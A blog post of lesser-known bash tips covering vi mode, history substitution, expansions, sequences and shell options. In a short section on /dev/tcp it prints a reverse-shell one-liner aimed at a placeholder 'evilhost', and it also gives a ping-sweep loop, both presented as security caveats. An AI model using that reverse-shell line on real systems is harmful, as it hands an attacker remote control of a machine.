There’s something about bash

The bash is probably the most used unix shell nowadays. It is a very powerful tool and can speed up your work massively if used wisely. The bash manual page is good read from time to time since it holds lots of gems that aren’t known by many bash users. The following list should show some of the not so well known features that can save you lots of typing or help to prevent errors in your work.

The vi mode

Bash uses the readline library for reading command lines. Readline supports a vi-style editing mode. I don’t want to start a flame war so if you dont like vi just continue to the next section. If you’re still with us here are some nice features of the vi-mode.

set -o vi

Sets bash to the vi-style. From now on the are three modes: insert, replace and command as in normal VI. As usual use ESC to change to command mode and any command that switches to insert or replace mode to get back to enter text. In VI-mode there are a bunch of functions to manipulate your command line. I won’t name all of them since they are nicely documented in the “VI Mode bindings” Section of the readline manual page.

CTRL-U  discards the whole line written so far. (yes, this also works in emacs mode..)
CTRL-[ VI movement mode. In fact switches to command mode.

What is more interesting is the command mode. Its not complete identical to VI itself. First some commands that operate on the shell history

/ searches for a history entry matching search string. In contrary to VI the search string is not treated as a pattern.
? same for backwards searches.
+ or j next history entry.
- or k previous history entry.

CTRL-J accepts and executes the command on the command line in command mode.

Now, to move around on your command line and change text there are well known move commands of VI.

h l move left and right
w b move by words forward and backward honouring punctuation
W B move by words forward and backward not honouring punctuation
E or e move to the the end of a word
0 or ^ go to the beginning of a line
$ go to the end of a line

To edit your command there is nothing much special to normal VI usage.

i R go to insert mode or replace mode
r replace or change a character
a append after cursor
A append to the end of line
c C Change a character from cursor position to some other position

Still nothing spectacular here.

If you like VI you will feel more or less home. But now for an more sophisticated example. Lets say we want to change part of an command line containing a URL

wget http://www.domain.example/some/path/to/resource/file.xml

Lets say we want to change the file.xml to somemorefile.xml. We could just use Backspace and retype the new word. Yes we could also type META-CTRL-H twice in emacs mode. But its about vi mode for now. In vi-style the sequence is:

hit ESC
type 3bC
retype the word.

Which “translates” to: go back three words (punctuation also count as word) and change the text until the end of line.

You can also just hit b three or more times to get to the point from where you want to change text. Now if we wanted to change “http” to “ftp”, the sequence would be:

hit ESC if not already in command mode
hit Bcw
type “ftp”

which is go back to beginning of the current word (this time without counting punctuation as words) and then change forward one word (counting punctation as words)

To rub out the “resource” part of the url from where we just edited “ftp” use:

hit ESC since changing text did put us in insert mode

and now either:

hit w 13 times which is pain but still faster than moving using the cursor keys

or

type 13w but you wont probably guess the right count of words within a split second

and

type 2dw to delete the word “resource” and the slash

or just

type W5b2dw since we already know that the file part is three “words” plus the additional slash and the word “resource” itself or hit W5bdwx whatever you prefer.

if something went wrong just hit u to undo your change.

Another one: You have a directory containing a bunch of files for example jpegs. Lets say we want to convert these files using some filter tool that takes a list of jpegs as arguments and stores each file converted to png using the extension png. But for a catch: all these files except one! You could move this particular file away or rename it or type the argument list by hand or do something like:

type myfiltercommand *
hit ESC
hit * this will throw you out of command mode but expand the * to actual file names
hit ESC back to command mode
use B and dW to clean out the file you don’t want out of the argument list.

Et voilà.

Furthermore if you liked bash in vi-mode try it in gdb too. You can switch gdb to vi-style by pressing META-CTRL-j and switch back to emacs mode by CTRL-e.

History substitution

Bash has a powerful mechanism to access the history directly from the command line. So instead of searching for a history entry (in VI-mode ESC/) we can use the bang character to directly search and execute a command. See “The bash options” further below for some helping options to support you in this task. Some examples: We want to repeat the last ls command:

!ls

or just the previous command:

!!

this comes handy in cases we want to give the full command line of the previous command to a new command. A classic case is you forgot sudo in front of your command, then just do:

sudo !!

But history substitution is even more powerful. We can access individual arguments of any history entry. For Example the last argument of the previous command:

ls -la /some/long/file/path/and/name/i/only/write.once
rm !:$

So !:$ is the short form of !!:$ which is the last argument of the previous command. Pretty handy. But we can even change that last argument before using it. Lets say we copy a file to some far away directory under a different name and want to cd into that directory afterwards

cp somefile /some/long/file/path/newfile
cd !:$:h

The !:$:h will evaluate to the head-part (as the dirname command does) of the last argument in the previous command. There are lots of different positional and argument modifiers. See the bash man page for more info. But just for fun here is another litte sequence:

cp fileA /destination/directory/with/long/pathB/newFileA
cp fileB /destination/directory/with/long/pathA/newFileB

# oh no!.. i made a mistake: fileA should go to pathA as newFileA and vice versa
(cp !-2:^ !:$:h/!-2:$:t ; cp !:^ !-2:$:h/!:$:t)

I admit this is highly constructed and it’s much easier to just use the vi-mode to change the commands to swap the file names. But.. now we know how.

Tilde Expansion

The tilde expansions can be used to expand to different paths on the file system. The classic ~ for the users home directory. But there are some more:

~someuser

expands to a different users home directory

~*

expands to the current working directory. no more `pwd` needed when we want to use the current working directory as an argument.

If you use pushd and popd to move around on your filesystem then ~+ and ~- become handy too..

Parameter Expansion

Another feature that is often over looked is parameter expansion. For example a unset or empty variable can be initialised with a value on access.

echo ${MYVAR:=42}

or just have a default value if no value has been assigned

echo ${MYVAR:-42}

or one can check if the variable has a value assigned and exit if it’s empty.

echo ${MYVAR:?}
echo ${MYVAR:?Some error message}

a non interactive shell will print the error message and exit.

Sequences

Another feature that is often forgotten are sequences. Lets say i want to create a huge directory structure for some reason (Think about cache directories for a proxy or whatever)

mkdir -p cache/{a..z}/{a..z}/{tmp,data}

Will create a directory cache containing directories from a to z each containing directories from a to z in the outermost leaf two directories one called tmp one called data. One can also use sequences for loops. Since they are expanded by bash before passing the command to the command parser.

for i in {1..10} ; do echo $i ; done

this gets expanded to

for i in 1 2 3 4 5 6 7 8 9 10 ; do echo $i ; done

nice thing..

i guess, everybody saw “sequences” little sister in the “cache” example above:

echo {a,b}-{a,b}

…

Some more little tricks

To get STDOUT and STDERR redirected to the same file (lets say /dev/null) we don’t need to write

1>/dev/null 2>&1

to copy the STDERR over to STDOUT. A simple

&>/dev/null

does the trick.

Here-Strings are a handy shortcut too..

cat <<< "hello world"

Did you know that : evaluates to true? One can write a infinite loop as

while :; do echo foo ; done

The bash shell can be configured to include the virtual device nodes /dev/tcp and /dev/udp. Many vendors do not enable this option at compile time due to security reasons. But still there are some shells that provide this feature. It can be used to send data over tcp or udp streams easily.

echo "somestring" > /dev/tcp/localhost/1234

will connect to tcp port 1234 on localhost and send the data "somestring". Exactly that's the reason why its a security issue.

bash < /dev/tcp/evilhost/1234 > /dev/tcp/evilhost/1235

is the basic bash phone home shell. A not so nice feature.

As stated before many things get expanded before the command string is passed to the command parser. So if you happen to login to a box that has no binaries except the shell, lets say some new gadget you just connected via serial line: here are some tricks

echo *

This will print the directory listing.

bash -nv sometextfile

will print the contents of a textfile.

bash -nv sometextfile > newtextfile

will copy that file.

Oh one more (and the first one that needs a tool not built-in, sadly there is no /dev/icmp)

for i in  192.168.0.{1..255}; do ping -c1 -t1 $i &>/dev/null && echo $i; done

The good old oneline "knock-knock"-joke

The bash options

Bash options can be listed and changed by using the shopt command. Many peoples don't bother to change any of the default options. Here are some of the options you might find useful in conjunction with readline and vi-style.

cmdhist Save multiline commands to one history entry.
histappend Do not overwrite the history file when the shell exits.
histreedit Gives you the opportunity to reedit failed history substitutions
histverify Causes the results of history substitution to be loaded to the readline buffer for reediting instead of executing them directly.
lithist If used with the cmdhist option, newlines in multiline commands are preserved and stored in the history entry.

Last Word

Many of these features seem inconvenient at first glimpse. But if you get used to those you like they can come handy many times. So I close this blog post with a little good old classic bash humour.

)